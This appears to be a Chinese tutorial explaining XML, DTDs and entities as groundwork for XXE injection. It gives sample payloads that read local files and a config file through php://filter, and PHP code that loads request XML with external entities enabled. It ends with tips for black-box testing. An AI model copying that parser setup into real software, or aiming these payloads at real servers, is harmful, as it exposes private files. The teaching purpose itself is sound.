XXE漏洞概念 XXE(XML External Entity Injection) XML外部实体注入。 重点: XML 外部实体 注入 这三部分搞清楚 XML是一种类似于HTML(超文本标记语言)的可扩展标记语言,是用于标记电子文件使其具有结构性 的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语 言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
什么是 XML? XML 指可扩展标记语言(EXtensible Markup Language)。 XML 是一种很像HTML的标记语言。 XML 的设计宗旨是传输数据,而不是显示数据。 XML 标签没有被预定义。您需要自行定义标签。 XML 被设计为具有自我描述性。 XML 是 W3C 的推荐标准。
XML的作用 主要就是存储数据 传输数据。
基础语法
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
文档结构图:
语法规则: XML 文档必须有根元素 XML 声明(可选) 所有的 XML 元素都必须有一个关闭标签 XML 标签对大小写敏感 XML 必须正确嵌套 XML 属性值必须加引号 实体(字符实体)引用(同html) XML 中的注释(同html) 在 XML 中,空格会被保留。
XML 命名规则: XML 元素必须遵循以下命名规则: 名称可以包含字母、数字以及其他的字符 名称不能以数字或者标点符号开始 名称不能以字母 xml(或者 XML、Xml 等等)开始 名称不能包含空格。
XML的合法性 拥有正确语法的 XML 被称为"形式良好"的 XML。 通过 DTD 验证的XML是"合法"的 XML。 接下来掌握DTD(Document Type Definition)相关知识,有利于我们掌握XXE。 DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。 DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
内部DTD 假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:
<!DOCTYPE root-element [element-declarations]>
比如:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>张飞</to>
<from>马超</from>
<heading>通知</heading>
<body>挑灯大战三百回合!</body>
</note>
以上 DTD 解释如下: !DOCTYPE note (第二行)定义此文档是 note 类型的文档。 !ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body" !ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型 !ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型 !ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型 !ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型。
这里解释一下PCDATA和CDATA PCDATA:是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。 CDATA:是不会被解析器解析的文本。
外部DTD 假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
<!DOCTYPE root-element SYSTEM "filename">
先声明一个note.dtd:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
再写xml:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>周瑜</to>
<from>黄盖</from>
<heading>提示</heading>
<body>周瑜打黄盖</body>
</note>
DTD实体 实体是用于定义引用普通文本或特殊字符的快捷方式的变量。 实体引用是对实体的引用。 实体可在内部或外部进行声明。
内部实体 语法:
<!ENTITY entity-name "entity-value">
示例:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE stu [
<!ELEMENT stu (name, age, address)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT address (#PCDATA)>
<!ENTITY name "亚瑟">
<!ENTITY age "18">
<!ENTITY address "对抗路">
]>
<stu>
<name>&name;</name>
<age>&age;</age>
<address>&address;</address>
</stu>
注意: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。
浏览器效果:
简单一点的案例:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE stu [<!ENTITY name "亚瑟">]>
<name>&name;</name>
浏览器效果:
外部实体 和内部实体一致,只是DTD声明在外部。
语法:
<!ENTITY entity-name SYSTEM "URI/URL">
xml中引用外部dtd实体:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root[
<!ENTITY name SYSTEM "file:///D:/www/xxe/data.txt">]>
<root>
<username>&name;</username>
</root>
注意:这个地方直接浏览器访问拿不到数据,需要程序读取。 data.txt中随意什么内容都可以。 核心在于SYSTEM关键字。 SYSTEM这个地方常用的协议:
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
支持的协议:
其余的参考:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c://test/1.txt" >]>
<value>&xxe;</value>
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://xxx.com/xxxx.php" >]>
<value>&xxe;</value>
参数实体 语法:
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
注意: % 和 实体名字之间有一个空格 示例:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root [ ]>
注意:参数实体只能在 DTD文件中被引用,其他实体在XML文档内引用。 参数实体 在DOCTYPE内 ,其他实体在外。
PHP解析XML 直接上代码: 解析字符串
<?php
header("Content-type:text/html;charset=utf-8");
$xml = <<<eof
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root[
<!ENTITY name SYSTEM "file:///D:/www/xxe/data.txt">]>
<root>
<username>&name;</username>
</root>
eof;
$obj = simplexml_load_string($xml,"SimpleXMLElement", LIBXML_NOENT |
LIBXML_DTDLOAD );
echo $obj->username;
解析请求:
<?php
header("Content-type:text/html;charset=utf-8");
$data = file_get_contents("php://input");
$xml = simplexml_load_string($data, "SimpleXMLElement", LIBXML_NOENT |
LIBXML_DTDLOAD);
echo $xml->username;
一定要注意: PHP中解析xml有多种方式。
一定要注意: PHP中解析xml有多种方式。
通观察页面变化,发现有数据回显:
怎么去判断是否有xxe漏洞呢? 现在不能白盒, 只能黑盒 =》 抓包=》 分析请求的参数, 如果参数是xml, 极其有可能存在xxe, 就可以 去尝试注入xml实体, 读取一些铭感数据。
防包